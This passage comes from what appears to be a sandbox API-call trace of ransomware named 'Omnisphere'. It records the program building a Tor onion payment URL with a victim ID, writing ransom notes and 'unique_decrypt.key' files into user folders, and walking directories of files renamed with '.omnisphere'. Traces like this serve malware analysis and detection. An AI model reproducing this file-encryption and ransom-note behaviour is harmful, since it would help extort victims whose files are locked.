lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f3a0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0115.170] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0115.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0115.170] GetProcessHeap () returned 0x1600000 [0115.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687588 [0115.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687588, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0115.170] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0115.170] GetProcessHeap () returned 0x1600000 [0115.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x1624d80 [0115.170] PathCombineW (in: pszDest=0x1624d80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" [0115.170] GetProcessHeap () returned 0x1600000 [0115.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1684170 [0115.170] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.171] WriteFile (in: hFile=0x28c, lpBuffer=0x1684170*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1684170*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0115.171] CloseHandle (hObject=0x28c) returned 1 [0115.171] GetProcessHeap () returned 0x1600000 [0115.171] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1688438 | out: hHeap=0x1600000) returned 1 [0115.171] GetProcessHeap () returned 0x1600000 [0115.171] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c528 [0115.171] PathCombineW (in: pszDest=0x162c528, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" [0115.171] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.172] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0115.172] CloseHandle (hObject=0x28c) returned 1 [0115.172] GetProcessHeap () returned 0x1600000 [0115.172] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c528 | out: hHeap=0x1600000) returned 1 [0115.172] GetProcessHeap () returned 0x1600000 [0115.172] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c458 | out: hHeap=0x1600000) returned 1 [0115.172] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0xc9, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0115.172] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.172] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x25bc9c5a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25bc9c5a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x25bc9c5a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25bc9c5a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25b0b17c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25b0b17c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25beffcf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x25ae4f8b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25ae4f8b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25ae4f8b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25ae4f8b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c6308a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x25b31463, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xe56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk.omnisphere", cAlternateFileName="GOOGLE~1.OMN")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25b31463, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25b31463, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25b31463, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk.omnisphere.id", cAlternateFileName="GOOGLE~1.ID")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9c00c4b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa9c00c4b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x25b7d8d3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook.lnk.omnisphere", cAlternateFileName="MICROS~1.OMN")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25b7d8d3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25b7d8d3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25b7d8d3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook.lnk.omnisphere.id", cAlternateFileName="MICROS~1.ID")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x25ba3abb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x684, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk.omnisphere", cAlternateFileName="SHOWSD~1.OMN")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25ba3abb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25ba3abb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25ba3abb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk.omnisphere.id", cAlternateFileName="SHOWSD~1.ID")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25b0b17c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x25b0b17c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x25beffcf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0115.173] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3bf8be86, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xac3ebde6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xac3ebde6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0115.173] GetProcessHeap () returned 0x1600000 [0115.173] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166b0b8 [0115.173] PathCombineW (in: pszDest=0x166b0b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="User Pinned" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0115.173] GetProcessHeap () returned 0x1600000 [0115.173] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbc) returned 0x1639ed0 [0115.173] PathCombineW (in: pszDest=0x1639ed0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" [0115.173] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3bf8be86, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xac3ebde6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xac3ebde6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbc, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.174] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3bf8be86, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xac3ebde6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xac3ebde6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbc, cFileName="..", cAlternateFileName="")) returned 1 [0115.174] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3853abd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x441842cf, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbc, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0115.174] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38540c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbc, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0115.174] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38540c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbc, cFileName="TaskBar", cAlternateFileName="")) returned 0 [0115.174] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.174] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3bf8be86, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xac3ebde6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xac3ebde6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680063, dwReserved1=0x2a005c, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0115.174] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3bf8be86, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xac3ebde6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xac3ebde6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680063, dwReserved1=0x2a005c, cFileName="..", cAlternateFileName="")) returned 1 [0115.174] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3853abd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x441842cf, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680063, dwReserved1=0x2a005c, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0115.174] GetProcessHeap () returned 0x1600000 [0115.174] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe2) returned 0x16302c0 [0115.174] PathCombineW (in: pszDest=0x16302c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", pszFile="ImplicitAppShortcuts" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0115.174] GetProcessHeap () returned 0x1600000 [0115.175] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x164bc18 [0115.175] PathCombineW (in: pszDest=0x164bc18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" [0115.175] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3853abd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x441842cf, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb0, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.175] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3853abd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x441842cf, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb0, cFileName="..", cAlternateFileName="")) returned 1 [0115.175] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3853abd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x441842cf, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb0, cFileName="..", cAlternateFileName="")) returned 0 [0115.175] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.175] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3853abd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x441842cf, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.175] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3853abd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x441842cf, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="..", cAlternateFileName="")) returned 1 [0115.176] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3853abd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x441842cf, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x55005c, dwReserved1=0x650073, cFileName="..", cAlternateFileName="")) returned 0 [0115.176] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.176] GetProcessHeap () returned 0x1600000 [0115.176] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164bc18 | out: hHeap=0x1600000) returned 1 [0115.176] GetProcessHeap () returned 0x1600000 [0115.176] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16302c0 | out: hHeap=0x1600000) returned 1 [0115.176] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38540c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680063, dwReserved1=0x2a005c, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0115.176] GetProcessHeap () returned 0x1600000 [0115.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c118 [0115.176] PathCombineW (in: pszDest=0x162c118, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", pszFile="TaskBar" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0115.176] GetProcessHeap () returned 0x1600000 [0115.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0115.176] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" [0115.176] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38540c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, 